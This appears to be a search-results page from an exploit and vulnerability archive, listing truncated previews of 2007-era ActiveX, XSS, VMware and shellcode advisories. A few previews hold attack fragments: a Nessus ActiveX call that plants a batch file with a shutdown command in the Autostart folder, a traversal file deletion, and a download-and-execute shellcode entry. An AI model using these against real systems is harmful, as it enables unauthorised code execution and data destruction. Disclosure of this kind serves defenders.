1587 matches found
real-overflow.txt
There are multiple stack overflows in the ierpplug.dll ActiveX Control. These issues were originally discovered by shinnai, http://www.securityfocus.com/bid/22811 and http://www.securityfocus.com/bid/21802. I am adding the Import and PlayerProperty functions to the list. This was tested on Window...
BitDefender Online Scanner 8 - ActiveX Heap Overflow
BitDefender Online Scanner 8 - ActiveX Heap Overflow =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- BitDefender OScan8.ocx / Oscan81.ocx ActiveX Exploit =-=-=-=-=-=-=-=-=-=-=-=-PRIVATE! NOT PUBLIC!=-=-=-=-=-=-=-=-=-=-=-=-...
FlashGet jccatch.dll ActiveX控件多个拒绝服务漏洞
FlashGet －全球最多人使用的下载工具。可支持多种资源格式。 IE浏览器在以畸形参数调用FlashGet的jccatch.dll ActiveX控件时存在漏洞，恶意网站可能利用此漏洞导致用户浏览器崩溃。 如果用户受骗打开了恶意的WEB页面的话，就会触发这个漏洞，导致浏览器崩溃。 FlashGet 1.9.6.1073 临时解决方法： 在IE中禁用 FlashGet jccatch.dll ActiveX控件，为以下CLSID设置kill bit： FB5DA724-162B-11D3-8B9B-AA70B4B0B524 或将以下文本保存为.REG文件并导入： Windows...
CVE-2007-5255: Improper Neutralization of Input During Web Page Generation
Cross-site scripting XSS vulnerability in Google Mini Search Appliance 3.4.14 allows remote attackers to inject arbitrary web script or HTML via the ie parameter to the /search URI...
Use of system agreement when the backdoor-vulnerability warning-the black bar safety net
This morning inadvertently open the xFocus of a cow's BLOG...The New Year's firsthaha. Found a very interesting thing. Is the use of the system in the registered agreement to execute the command. 具体 连接 :http://coolice.blogdriver.com/coolice/414334.html Then I on their own machine experiment:it...
Apple Quicktime < 7.2 SMIL Remote Integer Overflow PoC
Exploit for multiple platform in category dos / poc ====================================================== Apple Quicktime SRC="available-sample.qtif" QTSRC="poc.smil" WIDTH="10" HEIGHT="10" PLUGINSPAGE=" www.apple.com/quicktime/download" TYPE="video/quicktime" /...
[Fwd: RE: XSS via IE MOTW feature. [sd]]
Hello MustLive / 3APA3A, I read your Vulnerabilities digest reported to BT today. Last year I noticed issue 3 during an assessment also. I've contacted MS during that time see below. They replied with: -- Hi David Thank you for submitting your email regarding XSS via IE MOTW feature. We have...
Just one line of code to make IE 6 crash-vulnerability warning-the black bar safety net
News source:immike A Japanese blog found that just one line of code will make IE6 crash,the code is as follows: styleposition:relative/styletableinput/table This line of code in Firefox,Safari and Opera all parse correctly,however in IE 6 It will cause the mshtml. dll fatal error. If you want to...
PHP-Nuke (ALL versions) Multiple XSS and HTML injection
PHP-Nuke ALL versions Search Module multiple XSS and HTML injection ------------------------------------------------------------------- The well-known PHP-Nuke CMS is vulnerable to multiple XSS attacks and HTML injections through the Search Module. The request is made using POST, but the whole...
vmware-vielib-exec.txt
:. GOODFELLAS Security Research TEAM .: :. http://goodfellas.shellcode.com.ar .: vielib.dll 2.2.5.42958 VmWare Inc version 6.0.0 Remode Code Execution Exploit ============================================================================= Internal ID: VULWAR200707290. ----------- Introduction...
VMware Inc 6.0.0 CreateProcess Remote Code Execution Exploit
Exploit for unknown platform in category remote exploits ============================================================ VMware Inc 6.0.0 CreateProcess Remote Code Execution Exploit ============================================================ :. GOODFELLAS Security Research TEAM .: :...
Nessus Vulnerability Scanner 3.0.6 - ActiveX Command Execution
Tested on Nessus 3.0.6 / IE 6 / XP SP2 Polish Just for fun ; -- obj.addsetConfig'shutdown -t 1000 -s -c "hello world ;" && pause', '', ''; obj.saveNessusRC"../../../../../../Documents and Settings/All Users/Menu Start/Programy/Autostart/exec.bat"; milw0rm.com 2007-07-27...
Nessus Vulnerability Scanner 3.0.6 - ActiveX Remote Delete File
Tested on Nessus 3.0.6 / IE 6 / XP SP2 Polish Just for fun ; -- obj.deleteReport"../../../../../../../test.txt"; //Deleting file: C:\test.txt alert"done"; milw0rm.com 2007-07-26...
Ajax allows a web page Trojan“quietly perform”-vulnerability warning-the black bar safety net
On the Ajax implementation, the developer is to think like the“Ajax to do that in user when browsing the web should not feel it to execute asynchronously, and does not need to wait for the page to refresh can be done automatically verify data”, such as whether the user name can be registered...
ExLibris Aleph and Metalib Cross Site Scripting Attack
ExLibris Aleph and Metalib Cross Site Scripting Attack ------------------------------------------------------ Matthew Cook Date 16/07/2007 http://escarpment.net/ http://escarpment.net/exlibris.txt Attack: Multiple versions of the ExLibris http://www.exlibrisgroup.com/ Aleph and Metalib products a...
firefox break 0day high-risk vulnerabilities: Cross Browser Scripting-vulnerability warning-the black bar safety net
firefox break high-risk vulnerabilities, perform local program. At the same time using IE and firefox users, please note that bug fixes it! Monyer published temporary workaround: put the following code into the Run box, run, or saved as. bat double-click to run, or in cmd run: reg delete...
avaxswf-write.txt
:. GOODFELLAS Security Research TEAM .: :. http://goodfellas.shellcode.com.ar .: Avaxswf.dll v.1.0.0.1 from Avax Vector software ActiveX Arbitrary Data Write ============================================================================ Internal ID: VULWAR200706264. Introduction ------------...
Ajax allows a web page Trojan“quietly perform”-vulnerability warning-the black bar safety net
On the Ajax implementation, the developer is to think like the“Ajax to do that in user when browsing the web should not feel it to execute asynchronously, and does not need to wait for the page to refresh can be done automatically verify data”, such as whether the user name can be registered...
cjay-rfi.txt
/ \ / \ | | | | | | | | | | | / | | | | | | | ' / | | ' \ / \ | | | | || | || | | | \ | | | | / | , |/ /|| ||| |||| / | |/ INFO: Program Title Cjay Content 3 WYSIWYG IE 5.5+ Remote File Inclusion Vulnerability Description Editor module for XOOPS CMS Vuln Code In...
win32 download and execute 124 bytes
Exploit for win32 platform in category shellcode ==================================== win32 download and execute 124 bytes ==================================== ; ; relocateable dynamic runtime assembly code example using hash lookup for IE exploits only ; the URLMON.DLL must already be loaded int...